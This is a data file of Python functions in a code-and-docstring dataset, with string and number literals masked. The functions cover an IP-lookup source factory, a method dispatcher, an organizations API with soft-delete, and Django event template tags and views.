{"signature": "def __init__(self, ip_url, ip_key):", "body": "super(JSONIPSource, self).__init__(ip_url)<EOL>self._ip_key = ip_key<EOL>", "docstring": ":param ip_url: The URL used to get the IP\n:type ip_url: str\n:param ip_key: The key in the json response used to encapsulate the IP\n:type ip_key: str", "id": "f4603:c2:m0"}
{"signature": "def fetch(self):", "body": "response = requests.get(self._ip_url, headers = {\"<STR_LIT>\": \"<STR_LIT>\"})<EOL>raw_response = response.json()<EOL>try:<EOL><INDENT>raw_ip = raw_response[self._ip_key]<EOL>if isinstance(raw_ip, (tuple, list)):<EOL><INDENT>raw_ip = raw_ip[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>except KeyError:<EOL><INDENT>raise InvalidJSONSourceIPKey(\"<STR_LIT>\"<EOL>.format(self._ip_key, self._ip_url))<EOL><DEDENT>except IndexError:<EOL><INDENT>raise InvalidJSONSourceIPValue(\"<STR_LIT>\")<EOL><DEDENT>self._ip_address = ipaddress.ip_address(unicode(raw_ip))<EOL>self._info = raw_response<EOL>del self._info[self._ip_key]<EOL>", "docstring": "Performs a refresh from source\n:return: None\n:rtype: None", "id": "f4603:c2:m1"}
{"signature": "def __init__(self, use_builtins=True):", "body": "self._sources = set()<EOL>if use_builtins:<EOL><INDENT>for args in self._builtin_sources.values():<EOL><INDENT>self.add_source(*args)<EOL><DEDENT><DEDENT>", "docstring": "A Factory that can be used to generate IIPSource providers\n:param use_builtins: there are a number of built-in sources\navailable in this library, this option includes them by\ndefault in the factory.\n:type use_builtins: bool", "id": "f4603:c3:m0"}
{"signature": "def add_source(self, source_class, *constructor_args):", "body": "if not IIPSource.implementedBy(source_class):<EOL><INDENT>raise TypeError(\"<STR_LIT>\".format(source_class))<EOL><DEDENT>else:<EOL><INDENT>self._sources.add((source_class, constructor_args))<EOL><DEDENT>", "docstring": "Adds a source to the factory provided it's type and constructor arguments\n:param source_class: The class used to instantiate the source\n:type source_class: type\n:param constructor_args: Arguments to be passed into the constructor\n:type constructor_args: Iterable", "id": "f4603:c3:m1"}
{"signature": "def get_sources(self, limit=sys.maxsize, types_list=None):", "body": "if types_list and not isinstance(types_list, (tuple, list)):<EOL><INDENT>types_list = [types_list]<EOL><DEDENT>sources = list(self._sources)<EOL>random.shuffle(sources)<EOL>for source in sources:<EOL><INDENT>if not types_list or source[<NUM_LIT:0>] in types_list:<EOL><INDENT>limit -= <NUM_LIT:1><EOL>yield source[<NUM_LIT:0>](*source[<NUM_LIT:1>])<EOL><DEDENT>if limit <= <NUM_LIT:0>:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "Generates instantiated sources from the factory\n:param limit: the max number of sources to yield\n:type limit: int\n:param types_list: filter by types so the constructor can be used to accomidate many types\n:type types_list: class or list of classes\n:return: Yields types added by add_source\n:rtype: generator", "id": "f4603:c3:m2"}
{"signature": "@property<EOL><INDENT>def num_sources(self):<DEDENT>", "body": "return len(self._sources)<EOL>", "docstring": ":return: The number of configured sources\n:rtype: int", "id": "f4603:c3:m3"}
{"signature": "@try_delegation<EOL><INDENT>def apply_handler(self, method_data, *args, **kwargs):<DEDENT>", "body": "if isinstance(method_data, tuple):<EOL><INDENT>len_method = len(method_data)<EOL>method = method_data[<NUM_LIT:0>]<EOL>if <NUM_LIT:1> < len_method:<EOL><INDENT>args = method_data[<NUM_LIT:1>]<EOL><DEDENT>if <NUM_LIT:2> < len_method:<EOL><INDENT>kwargs = method_data[<NUM_LIT:2>]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>method = method_data<EOL><DEDENT>return method(*args, **kwargs)<EOL>", "docstring": "Call the dispatched function, optionally with other data\n        stored/created during .register and .prepare. Assume the arguments\n        passed in by the dispathcer are the only ones required.", "id": "f4609:c0:m3"}
{"signature": "def try_delegation(method):", "body": "@functools.wraps(method)<EOL>def delegator(self, *args, **kwargs):<EOL><INDENT>if self.try_delegation:<EOL><INDENT>inst = getattr(self, '<STR_LIT>', None)<EOL>if inst is not None:<EOL><INDENT>method_name = (self.delegator_prefix or '<STR_LIT>') + method.__name__<EOL>func = getattr(inst, method_name, None)<EOL>if func is not None:<EOL><INDENT>return func(*args, **kwargs)<EOL><DEDENT><DEDENT><DEDENT>return method(self, *args, **kwargs)<EOL><DEDENT>return delegator<EOL>", "docstring": "This decorator wraps descriptor methods with a new method that tries\n    to delegate to a function of the same name defined on the owner instance\n    for convenience for dispatcher clients.", "id": "f4610:m0"}
{"signature": "@try_delegation<EOL><INDENT>def register(self, method, args, kwargs):<DEDENT>", "body": "invoc = self.dump_invoc(*args, **kwargs)<EOL>self.registry.append((invoc, method.__name__))<EOL>", "docstring": "Given a single decorated handler function,\n        prepare, append desired data to self.registry.", "id": "f4610:c4:m7"}
{"signature": "@try_delegation<EOL><INDENT>def prepare(self):<DEDENT>", "body": "return self.registry<EOL>", "docstring": "Given all the registered handlers for this\n        dispatcher instance, return any data required\n        by the dispatch method.\n\n        Can be overridden to provide more efficiency,\n        simplicity, etc.", "id": "f4610:c4:m8"}
{"signature": "@try_delegation<EOL><INDENT>def gen_methods(self, *args, **kwargs):<DEDENT>", "body": "dispatched = False<EOL>for invoc, methodname in self.registry:<EOL><INDENT>args, kwargs = self.loads(invoc)<EOL>yield getattr(self.inst, methodname), args, kwargs<EOL>dispatched = True<EOL><DEDENT>if dispatched:<EOL><INDENT>return<EOL><DEDENT>generic_handler = getattr(self.inst, '<STR_LIT>', None)<EOL>if generic_handler is not None:<EOL><INDENT>yield generic_handler, args, kwargs<EOL><DEDENT>msg = '<STR_LIT>'<EOL>raise self.DispatchError(msg % ((args, kwargs), self.inst))<EOL>", "docstring": "Find all method names this input dispatches to. This method\n        can accept *args, **kwargs, but it's the gen_dispatch method's\n        job of passing specific args to handler methods.", "id": "f4610:c4:m9"}
{"signature": "@try_delegation<EOL><INDENT>def get_method(self, *args, **kwargs):<DEDENT>", "body": "for method in self.gen_methods(*args, **kwargs):<EOL><INDENT>return method<EOL><DEDENT>msg = '<STR_LIT>'<EOL>raise self.DispatchError(msg % ((args, kwargs), self.inst))<EOL>", "docstring": "Find the first method this input dispatches to.", "id": "f4610:c4:m10"}
{"signature": "@try_delegation<EOL><INDENT>def dispatch(self, *args, **kwargs):<DEDENT>", "body": "for result in self.gen_dispatch(*args, **kwargs):<EOL><INDENT>return result<EOL><DEDENT>", "docstring": "Find and evaluate/return the first method this input dispatches to.", "id": "f4610:c4:m11"}
{"signature": "@try_delegation<EOL><INDENT>def gen_dispatch(self, *args, **kwargs):<DEDENT>", "body": "dispatched = False<EOL>for method_data in self.gen_methods(*args, **kwargs):<EOL><INDENT>dispatched = True<EOL>result = self.apply_handler(method_data, *args, **kwargs)<EOL>yield result<EOL><DEDENT>if dispatched:<EOL><INDENT>return<EOL><DEDENT>msg = '<STR_LIT>'<EOL>raise self.DispatchError(msg % ((args, kwargs), self.inst))<EOL>", "docstring": "Find and evaluate/yield every method this input dispatches to.", "id": "f4610:c4:m12"}
{"signature": "@try_delegation<EOL><INDENT>def apply_handler(self, method_data, *args, **kwargs):<DEDENT>", "body": "kwargs = NoClobberDict(kwargs)<EOL>if isinstance(method_data, tuple):<EOL><INDENT>len_method = len(method_data)<EOL>method = method_data[<NUM_LIT:0>]<EOL>if <NUM_LIT:1> < len_method:<EOL><INDENT>args += method_data[<NUM_LIT:1>]<EOL><DEDENT>if <NUM_LIT:2> < len_method:<EOL><INDENT>kwargs.update(method_data[<NUM_LIT:2>])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>method = method_data<EOL><DEDENT>return method(*args, **kwargs)<EOL>", "docstring": "Call the dispatched function, optionally with other data\n        stored/created during .register and .prepare\n\n        The naivette in this function is likely source of future pain. It\n        doesn't do very smart things when the decorator invocation AND the\n        dispatcher.dispatch invocation both pass arguments.", "id": "f4610:c4:m13"}
{"signature": "@try_delegation<EOL><INDENT>def yield_from_handler(self, result):<DEDENT>", "body": "return result<EOL>", "docstring": "Given an applied function result, yield from it.", "id": "f4610:c4:m14"}
{"signature": "@try_delegation<EOL><INDENT>def gen_method_keys(self, *args, **kwargs):<DEDENT>", "body": "token = args[<NUM_LIT:0>]<EOL>for mro_type in type(token).__mro__[:-<NUM_LIT:1>]:<EOL><INDENT>name = mro_type.__name__<EOL>yield name<EOL><DEDENT>", "docstring": "Given a node, return the string to use in computing the\n        matching visitor methodname. Can also be a generator of strings.", "id": "f4610:c5:m1"}
{"signature": "@try_delegation<EOL><INDENT>@dedupe<EOL>def gen_methods(self, *args, **kwargs):<DEDENT>", "body": "token = args[<NUM_LIT:0>]<EOL>inst = self.inst<EOL>prefix = self._method_prefix<EOL>for method_key in self.gen_method_keys(*args, **kwargs):<EOL><INDENT>method = getattr(inst, prefix + method_key, None)<EOL>if method is not None:<EOL><INDENT>yield method<EOL><DEDENT><DEDENT>typename = type(token).__name__<EOL>yield from self.check_basetype(<EOL>token, typename, self.builtins.get(typename))<EOL>for basetype_name in self.interp_types:<EOL><INDENT>yield from self.check_basetype(<EOL>token, basetype_name, getattr(self.types, basetype_name, None))<EOL><DEDENT>for basetype_name in self.abc_types:<EOL><INDENT>yield from self.check_basetype(<EOL>token, basetype_name, getattr(self.collections, basetype_name, None))<EOL><DEDENT>yield from self.gen_generic()<EOL>", "docstring": "Find all method names this input dispatches to.", "id": "f4610:c5:m2"}
{"signature": "def activate_selected(self, request, queryset):", "body": "queryset.update(active=True)<EOL>count = queryset.count()<EOL>if count == <NUM_LIT:1>:<EOL><INDENT>message = _('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>message = _('<STR_LIT>')<EOL>message.format(count=count)  <EOL><DEDENT>self.message_user(request, message)<EOL>", "docstring": "Activate the selected entries.", "id": "f4613:c0:m1"}
{"signature": "def deactivate_selected(self, request, queryset):", "body": "queryset.update(active=False)<EOL>count = queryset.count()<EOL>if count == <NUM_LIT:1>:<EOL><INDENT>message = _('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>message = _('<STR_LIT>')<EOL>message.format(count=count)  <EOL><DEDENT>self.message_user(request, message)<EOL>", "docstring": "Deactivate the selected entries.", "id": "f4613:c0:m2"}
{"signature": "def setUp(self):", "body": "super(OrganizationsApiTestCase, self).setUp()<EOL>self.test_organization = api.add_organization({<EOL>'<STR_LIT:name>': '<STR_LIT>',<EOL>'<STR_LIT:description>': '<STR_LIT>'<EOL>})<EOL>", "docstring": "Organizations API Test Case scaffolding", "id": "f4614:c0:m0"}
{"signature": "def create_organization(active=True):", "body": "Organization.objects.create(<EOL>name='<STR_LIT>',<EOL>description='<STR_LIT>',<EOL>active=active<EOL>)<EOL>", "docstring": "Create an organization.", "id": "f4615:m0"}
{"signature": "def setUp(self):", "body": "super(OrganizationsTestCaseBase, self).setUp()<EOL>self.test_course_key = CourseKey.from_string('<STR_LIT>')<EOL>", "docstring": "Helper method for test case scaffolding", "id": "f4621:c0:m0"}
{"signature": "def serialize_organization(organization):", "body": "return {<EOL>'<STR_LIT:id>': organization.id,<EOL>'<STR_LIT:name>': organization.name,<EOL>'<STR_LIT>': organization.short_name,<EOL>'<STR_LIT:description>': organization.description,<EOL>'<STR_LIT>': organization.logo<EOL>}<EOL>", "docstring": "Organization object-to-dict serialization", "id": "f4622:m0"}
{"signature": "def serialize_organization_with_course(organization_course):", "body": "return {<EOL>'<STR_LIT:id>': organization_course.organization.id,<EOL>'<STR_LIT:name>': organization_course.organization.name,<EOL>'<STR_LIT>': organization_course.organization.short_name,<EOL>'<STR_LIT:description>': organization_course.organization.description,<EOL>'<STR_LIT>': organization_course.organization.logo,<EOL>'<STR_LIT>': organization_course.course_id<EOL>}<EOL>", "docstring": "OrganizationCourse serialization (composite object)", "id": "f4622:m1"}
{"signature": "def serialize_organizations(organizations):", "body": "return [serialize_organization(organization) for organization in organizations]<EOL>", "docstring": "Organization serialization\nConverts list of objects to list of dicts", "id": "f4622:m2"}
{"signature": "def deserialize_organization(organization_dict):", "body": "return models.Organization(<EOL>id=organization_dict.get('<STR_LIT:id>'),<EOL>name=organization_dict.get('<STR_LIT:name>', '<STR_LIT>'),<EOL>short_name=organization_dict.get('<STR_LIT>', '<STR_LIT>'),<EOL>description=organization_dict.get('<STR_LIT:description>', '<STR_LIT>'),<EOL>logo=organization_dict.get('<STR_LIT>', '<STR_LIT>')<EOL>)<EOL>", "docstring": "Organization dict-to-object serialization", "id": "f4622:m3"}
{"signature": "def course_key_is_valid(course_key):", "body": "if course_key is None:<EOL><INDENT>return False<EOL><DEDENT>try:<EOL><INDENT>CourseKey.from_string(text_type(course_key))<EOL><DEDENT>except (InvalidKeyError, UnicodeDecodeError):<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "Course key object validation", "id": "f4629:m0"}
{"signature": "def organization_data_is_valid(organization_data):", "body": "if organization_data is None:<EOL><INDENT>return False<EOL><DEDENT>if '<STR_LIT:id>' in organization_data and not organization_data.get('<STR_LIT:id>'):<EOL><INDENT>return False<EOL><DEDENT>if '<STR_LIT:name>' in organization_data and not organization_data.get('<STR_LIT:name>'):<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "Organization data validation", "id": "f4629:m1"}
{"signature": "def _activate_record(record):", "body": "record.active = True<EOL>record.save()<EOL>", "docstring": "Enables database records by setting the 'active' attribute to True\nThe queries in this module filter out inactive records as part of their criteria\nThis effectively allows us to soft-delete records so they are not lost forever", "id": "f4630:m0"}
{"signature": "def _inactivate_record(record):", "body": "record.active = False<EOL>record.save()<EOL>", "docstring": "Disables database records by setting the 'active' attribute to False\nThe queries in this module filter out inactive records as part of their criteria\nThis effectively allows us to soft-delete records so they are not lost forever", "id": "f4630:m1"}
{"signature": "def _activate_organization(organization):", "body": "[_activate_organization_course_relationship(record) for record<EOL>in internal.OrganizationCourse.objects.filter(organization_id=organization.id, active=False)]<EOL>[_activate_record(record) for record<EOL>in internal.Organization.objects.filter(id=organization.id, active=False)]<EOL>", "docstring": "Activates an inactivated (soft-deleted) organization as well as any inactive relationships", "id": "f4630:m2"}
{"signature": "def _inactivate_organization(organization):", "body": "[_inactivate_organization_course_relationship(record) for record<EOL>in internal.OrganizationCourse.objects.filter(organization_id=organization.id, active=True)]<EOL>[_inactivate_record(record) for record<EOL>in internal.Organization.objects.filter(id=organization.id, active=True)]<EOL>", "docstring": "Inactivates an activated organization as well as any active relationships", "id": "f4630:m3"}
{"signature": "def _activate_organization_course_relationship(relationship):  ", "body": "<EOL>relationship = internal.OrganizationCourse.objects.get(<EOL>id=relationship.id,<EOL>active=False,<EOL>organization__active=True<EOL>)<EOL>_activate_record(relationship)<EOL>", "docstring": "Activates an inactive organization-course relationship", "id": "f4630:m4"}
{"signature": "def _inactivate_organization_course_relationship(relationship):  ", "body": "relationship = internal.OrganizationCourse.objects.get(<EOL>id=relationship.id,<EOL>active=True<EOL>)<EOL>_inactivate_record(relationship)<EOL>", "docstring": "Inactivates an active organization-course relationship", "id": "f4630:m5"}
{"signature": "def create_organization(organization):", "body": "<EOL>if not organization.get('<STR_LIT:name>'):<EOL><INDENT>exceptions.raise_exception(\"<STR_LIT>\", organization, exceptions.InvalidOrganizationException)<EOL><DEDENT>organization_obj = serializers.deserialize_organization(organization)<EOL>try:<EOL><INDENT>organization = internal.Organization.objects.get(<EOL>name=organization_obj.name,<EOL>)<EOL>if not organization.active:<EOL><INDENT>_activate_organization(organization_obj)<EOL><DEDENT><DEDENT>except internal.Organization.DoesNotExist:<EOL><INDENT>organization = internal.Organization.objects.create(<EOL>name=organization_obj.name,<EOL>short_name=organization_obj.short_name,<EOL>description=organization_obj.description,<EOL>logo=organization_obj.logo,<EOL>active=True<EOL>)<EOL><DEDENT>return serializers.serialize_organization(organization)<EOL>", "docstring": "Inserts a new organization into app/local state given the following dictionary:\n{\n    'name': string,\n    'description': string\n}\nReturns an updated dictionary including a new 'id': integer field/value", "id": "f4630:m6"}
{"signature": "def update_organization(organization):", "body": "organization_obj = serializers.deserialize_organization(organization)<EOL>try:<EOL><INDENT>organization = internal.Organization.objects.get(id=organization_obj.id)<EOL>organization.name = organization_obj.name<EOL>organization.short_name = organization_obj.short_name<EOL>organization.description = organization_obj.description<EOL>organization.logo = organization_obj.logo<EOL>organization.active = organization_obj.active<EOL><DEDENT>except internal.Organization.DoesNotExist:<EOL><INDENT>exceptions.raise_exception(\"<STR_LIT>\", organization, exceptions.InvalidOrganizationException)<EOL><DEDENT>return serializers.serialize_organization(organization)<EOL>", "docstring": "Updates an existing organization in app/local state\nReturns a dictionary representation of the object", "id": "f4630:m7"}
{"signature": "def delete_organization(organization):", "body": "organization_obj = serializers.deserialize_organization(organization)<EOL>_inactivate_organization(organization_obj)<EOL>", "docstring": "Inactivates an existing organization from app/local state\nNo return currently defined for this operation", "id": "f4630:m8"}
{"signature": "def fetch_organization(organization_id):", "body": "organization = {'<STR_LIT:id>': organization_id}<EOL>if not organization_id:<EOL><INDENT>exceptions.raise_exception(\"<STR_LIT>\", organization, exceptions.InvalidOrganizationException)<EOL><DEDENT>organizations = serializers.serialize_organizations(<EOL>internal.Organization.objects.filter(id=organization_id, active=True)<EOL>)<EOL>if not organizations:<EOL><INDENT>exceptions.raise_exception(\"<STR_LIT>\", organization, exceptions.InvalidOrganizationException)<EOL><DEDENT>return organizations[<NUM_LIT:0>]<EOL>", "docstring": "Retrieves a specific organization from app/local state\nReturns a dictionary representation of the object", "id": "f4630:m9"}
{"signature": "def fetch_organization_by_short_name(organization_short_name):", "body": "organization = {'<STR_LIT>': organization_short_name}<EOL>if not organization_short_name:<EOL><INDENT>exceptions.raise_exception(\"<STR_LIT>\", organization, exceptions.InvalidOrganizationException)<EOL><DEDENT>organizations = serializers.serialize_organizations(internal.Organization.objects.filter(<EOL>active=True, short_name=organization_short_name<EOL>))<EOL>if not organizations:<EOL><INDENT>exceptions.raise_exception(\"<STR_LIT>\", organization, exceptions.InvalidOrganizationException)<EOL><DEDENT>return organizations[<NUM_LIT:0>]<EOL>", "docstring": "Retrieves a specific organization from app/local state by short name\nReturns a dictionary representation of the object", "id": "f4630:m10"}
{"signature": "def fetch_organizations():", "body": "return serializers.serialize_organizations(internal.Organization.objects.filter(active=True))<EOL>", "docstring": "Retrieves the set of active organizations from app/local state\nReturns a list-of-dicts representation of the object", "id": "f4630:m11"}
{"signature": "def create_organization_course(organization, course_key):", "body": "organization_obj = serializers.deserialize_organization(organization)<EOL>try:<EOL><INDENT>relationship = internal.OrganizationCourse.objects.get(<EOL>organization=organization_obj,<EOL>course_id=text_type(course_key)<EOL>)<EOL>if not relationship.active:<EOL><INDENT>_activate_organization_course_relationship(relationship)<EOL><DEDENT><DEDENT>except internal.OrganizationCourse.DoesNotExist:<EOL><INDENT>relationship = internal.OrganizationCourse.objects.create(<EOL>organization=organization_obj,<EOL>course_id=text_type(course_key),<EOL>active=True<EOL>)<EOL><DEDENT>", "docstring": "Inserts a new organization-course relationship into app/local state\nNo response currently defined for this operation", "id": "f4630:m12"}
{"signature": "def delete_organization_course(organization, course_key):", "body": "try:<EOL><INDENT>relationship = internal.OrganizationCourse.objects.get(<EOL>organization=organization['<STR_LIT:id>'],<EOL>course_id=text_type(course_key),<EOL>active=True,<EOL>)<EOL>_inactivate_organization_course_relationship(relationship)<EOL><DEDENT>except internal.OrganizationCourse.DoesNotExist:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Removes an existing organization-course relationship from app/local state\nNo response currently defined for this operation", "id": "f4630:m13"}
{"signature": "def fetch_organization_courses(organization):", "body": "organization_obj = serializers.deserialize_organization(organization)<EOL>queryset = internal.OrganizationCourse.objects.filter(<EOL>organization=organization_obj,<EOL>active=True<EOL>).select_related('<STR_LIT>')<EOL>return [serializers.serialize_organization_with_course(organization) for organization in queryset]<EOL>", "docstring": "Retrieves the set of courses currently linked to the specified organization", "id": "f4630:m14"}
{"signature": "def fetch_course_organizations(course_key):", "body": "queryset = internal.OrganizationCourse.objects.filter(<EOL>course_id=text_type(course_key),<EOL>active=True<EOL>).select_related('<STR_LIT>')<EOL>return [serializers.serialize_organization_with_course(organization) for organization in queryset]<EOL>", "docstring": "Retrieves the organizations linked to the specified course", "id": "f4630:m15"}
{"signature": "def delete_course_references(course_key):", "body": "[_inactivate_record(record) for record in internal.OrganizationCourse.objects.filter(<EOL>course_id=text_type(course_key),<EOL>active=True<EOL>)]<EOL>", "docstring": "Inactivates references to course keys within this app (ref: receivers.py and api.py)", "id": "f4630:m16"}
{"signature": "def _validate_course_key(course_key):", "body": "if not validators.course_key_is_valid(course_key):<EOL><INDENT>exceptions.raise_exception(<EOL>\"<STR_LIT>\",<EOL>course_key,<EOL>exceptions.InvalidCourseKeyException<EOL>)<EOL><DEDENT>", "docstring": "Validation helper", "id": "f4637:m0"}
{"signature": "def _validate_organization_data(organization_data):", "body": "if not validators.organization_data_is_valid(organization_data):<EOL><INDENT>exceptions.raise_exception(<EOL>\"<STR_LIT>\",<EOL>organization_data,<EOL>exceptions.InvalidOrganizationException<EOL>)<EOL><DEDENT>", "docstring": "Validation helper", "id": "f4637:m1"}
{"signature": "def add_organization(organization_data):", "body": "_validate_organization_data(organization_data)<EOL>organization = data.create_organization(organization_data)<EOL>return organization<EOL>", "docstring": "Passes a new organization to the data layer for storage", "id": "f4637:m2"}
{"signature": "def edit_organization(organization_data):", "body": "_validate_organization_data(organization_data)<EOL>return data.update_organization(organization_data)<EOL>", "docstring": "Passes an updated organization to the data layer for storage", "id": "f4637:m3"}
{"signature": "def get_organization(organization_id):", "body": "return data.fetch_organization(organization_id)<EOL>", "docstring": "Retrieves the specified organization", "id": "f4637:m4"}
{"signature": "def get_organization_by_short_name(organization_short_name):", "body": "return data.fetch_organization_by_short_name(organization_short_name)<EOL>", "docstring": "Retrieves the organization filtered by short name", "id": "f4637:m5"}
{"signature": "def get_organizations():", "body": "return data.fetch_organizations()<EOL>", "docstring": "Retrieves the active organizations managed by the system", "id": "f4637:m6"}
{"signature": "def remove_organization(organization_id):", "body": "organization = {<EOL>'<STR_LIT:id>': organization_id,<EOL>}<EOL>data.delete_organization(organization)<EOL>", "docstring": "Removes the specified organization", "id": "f4637:m7"}
{"signature": "def add_organization_course(organization_data, course_key):", "body": "_validate_course_key(course_key)<EOL>_validate_organization_data(organization_data)<EOL>data.create_organization_course(<EOL>organization=organization_data,<EOL>course_key=course_key<EOL>)<EOL>", "docstring": "Adds a organization-course link to the system", "id": "f4637:m8"}
{"signature": "def get_organization_courses(organization_data):", "body": "_validate_organization_data(organization_data)<EOL>return data.fetch_organization_courses(organization=organization_data)<EOL>", "docstring": "Retrieves the set of courses for a given organization\nReturns an array of course identifiers", "id": "f4637:m9"}
{"signature": "def remove_organization_course(organization, course_key):", "body": "_validate_organization_data(organization)<EOL>_validate_course_key(course_key)<EOL>return data.delete_organization_course(course_key=course_key, organization=organization)<EOL>", "docstring": "Removes the specfied course from the specified organization", "id": "f4637:m10"}
{"signature": "def get_course_organizations(course_key):", "body": "_validate_course_key(course_key)<EOL>return data.fetch_course_organizations(course_key=course_key)<EOL>", "docstring": "Retrieves the set of organizations for a given course\nReturns an array of dicts containing organizations", "id": "f4637:m11"}
{"signature": "def remove_course_references(course_key):", "body": "_validate_course_key(course_key)<EOL>data.delete_course_references(course_key)<EOL>", "docstring": "Removes course references from application state\nSee edx-platform/lms/djangoapps/courseware/management/commands/delete_course_references.py", "id": "f4637:m12"}
{"signature": "def _get_organization_url(self, organization):", "body": "return reverse('<STR_LIT>', kwargs={'<STR_LIT>': organization.short_name})<EOL>", "docstring": "Return organization specific URL.", "id": "f4638:c0:m1"}
{"signature": "def raise_exception(entity_type, entity, exception):", "body": "raise exception(<EOL>u'<STR_LIT>'.format(entity_type, entity).encode('<STR_LIT:utf-8>')<EOL>)<EOL>", "docstring": "Exception helper", "id": "f4641:m0"}
{"signature": "def update_time(sender, **kwargs):", "body": "comment = kwargs['<STR_LIT>']<EOL>if comment.content_type.app_label == \"<STR_LIT>\" and comment.content_type.name == \"<STR_LIT>\":<EOL><INDENT>from .models import Update<EOL>item = Update.objects.get(id=comment.object_pk)<EOL>item.save()<EOL><DEDENT>", "docstring": "When a Comment is added, updates the Update to set \"last_updated\" time", "id": "f4645:m0"}
{"signature": "@register.simple_tag<EOL>def get_upcoming_events_count(days=<NUM_LIT>, featured=False):", "body": "from happenings.models import Event<EOL>start_period = today - datetime.timedelta(days=<NUM_LIT:2>)<EOL>end_period = today + datetime.timedelta(days=days)<EOL>if featured:<EOL><INDENT>return Event.objects.filter(<EOL>featured=True,<EOL>start_date__gte=start_period,<EOL>start_date__lte=end_period<EOL>).count()<EOL><DEDENT>return Event.objects.filter(start_date__gte=start_period, start_date__lte=end_period).count()<EOL>", "docstring": "Returns count of upcoming events for a given number of days, either featured or all\nUsage:\n{% get_upcoming_events_count DAYS as events_count %}\nwith days being the number of days you want, or 5 by default", "id": "f4646:m0"}
{"signature": "@register.simple_tag<EOL>def get_upcoming_events(num, days, featured=False):", "body": "from happenings.models import Event<EOL>start_date = today - datetime.timedelta(days=days)<EOL>events = Event.objects.filter(start_date__gt=start_date).order_by('<STR_LIT>')<EOL>if featured:<EOL><INDENT>events = events.filter(featured=True)<EOL><DEDENT>events = events[:num]<EOL>return events<EOL>", "docstring": "Get upcoming events.\nAllows slicing to a given number,\npicking the number of days to hold them after they've started\nand whether they should be featured or not.\nUsage:\n{% get_upcoming_events 5 14 featured as events %}\nWould return no more than 5 Featured events,\nholding them for 14 days past their start date.", "id": "f4646:m1"}
{"signature": "@register.simple_tag<EOL>def get_events_by_date_range(days_out, days_hold, max_num=<NUM_LIT:5>, featured=False):", "body": "from happenings.models import Event<EOL>range_start = today - datetime.timedelta(days=days_hold)<EOL>range_end = today + datetime.timedelta(days=days_out)<EOL>events = Event.objects.filter(<EOL>start_date__gte=range_start,<EOL>start_date__lte=range_end<EOL>).order_by('<STR_LIT>')<EOL>if featured:<EOL><INDENT>events = events.filter(featured=True)<EOL><DEDENT>events = events[:max_num]<EOL>return events<EOL>", "docstring": "Get upcoming events for a given number of days (days out)\nAllows specifying number of days to hold events after they've started\nThe max number to show (defaults to 5)\nand whether they should be featured or not.\nUsage:\n{% get_events_by_date_range 14 3 3 'featured' as events %}\nWould return no more than 3 featured events,\nthat fall within the next 14 days or have ended within the past 3.", "id": "f4646:m2"}
{"signature": "@register.inclusion_tag('<STR_LIT>')<EOL>def paginate_update(update):", "body": "from happenings.models import Update<EOL>time = update.pub_time<EOL>event = update.event<EOL>try:<EOL><INDENT>next = Update.objects.filter(<EOL>event=event,<EOL>pub_time__gt=time<EOL>).order_by('<STR_LIT>').only('<STR_LIT:title>')[<NUM_LIT:0>]<EOL><DEDENT>except:<EOL><INDENT>next = None<EOL><DEDENT>try:<EOL><INDENT>previous = Update.objects.filter(<EOL>event=event,<EOL>pub_time__lt=time<EOL>).order_by('<STR_LIT>').only('<STR_LIT:title>')[<NUM_LIT:0>]<EOL><DEDENT>except:<EOL><INDENT>previous = None<EOL><DEDENT>return {'<STR_LIT>': next, '<STR_LIT>': previous, '<STR_LIT>': event}<EOL>", "docstring": "attempts to get next and previous on updates", "id": "f4646:m5"}
{"signature": "def create_ical(request, slug):", "body": "event = get_object_or_404(Event, slug=slug)<EOL>start = event.start_date<EOL>start = datetime.datetime(start.year, start.month, start.day)<EOL>if event.end_date:<EOL><INDENT>end = event.end_date<EOL>end = datetime.datetime(end.year, end.month, end.day)<EOL><DEDENT>else:<EOL><INDENT>end = start<EOL><DEDENT>cal = card_me.iCalendar()<EOL>cal.add('<STR_LIT>').value = '<STR_LIT>'<EOL>vevent = cal.add('<STR_LIT>')<EOL>vevent.add('<STR_LIT>').value = start<EOL>vevent.add('<STR_LIT>').value = end<EOL>vevent.add('<STR_LIT>').value = datetime.datetime.now()<EOL>vevent.add('<STR_LIT>').value = event.name<EOL>response = HttpResponse(cal.serialize(), content_type='<STR_LIT>')<EOL>response['<STR_LIT>'] = '<STR_LIT>'<EOL>response['<STR_LIT>'] = '<STR_LIT>'<EOL>return response<EOL>", "docstring": "Creates an ical .ics file for an event using python-card-me.", "id": "f4647:m0"}
{"signature": "def event_all_comments_list(request, slug):", "body": "event = get_object_or_404(Event, slug=slug)<EOL>comments = event.all_comments<EOL>page = int(request.GET.get('<STR_LIT>', <NUM_LIT>))  <EOL>is_paginated = False<EOL>if comments:<EOL><INDENT>paginator = Paginator(comments, <NUM_LIT:50>)  <EOL>try:<EOL><INDENT>comments = paginator.page(page)<EOL><DEDENT>except EmptyPage:<EOL><INDENT>comments = paginator.page(paginator.num_pages)<EOL><DEDENT>is_paginated = comments.has_other_pages()<EOL><DEDENT>return render(request, '<STR_LIT>', {<EOL>\"<STR_LIT>\": event,<EOL>\"<STR_LIT>\": comments,<EOL>\"<STR_LIT>\": comments,<EOL>\"<STR_LIT>\": comments,<EOL>\"<STR_LIT>\": page,<EOL>\"<STR_LIT>\": is_paginated,<EOL>\"<STR_LIT:key>\": key<EOL>})<EOL>", "docstring": "Returns a list view of all comments for a given event.\nCombines event comments and update comments in one list.", "id": "f4647:m1"}
{"signature": "def event_update_list(request, slug):", "body": "event = get_object_or_404(Event, slug=slug)<EOL>updates = Update.objects.filter(event__slug=slug)<EOL>if event.recently_ended():<EOL><INDENT>updates = updates.order_by('<STR_LIT:id>')<EOL><DEDENT>else:<EOL><INDENT>updates = updates.order_by('<STR_LIT>')<EOL><DEDENT>return render(request, '<STR_LIT>', {<EOL>'<STR_LIT>': event,<EOL>'<STR_LIT>': updates,<EOL>})<EOL>", "docstring": "Returns a list view of updates for a given event.\nIf the event is over, it will be in chronological order.\nIf the event is upcoming or still going,\nit will be in reverse chronological order.", "id": "f4647:m2"}
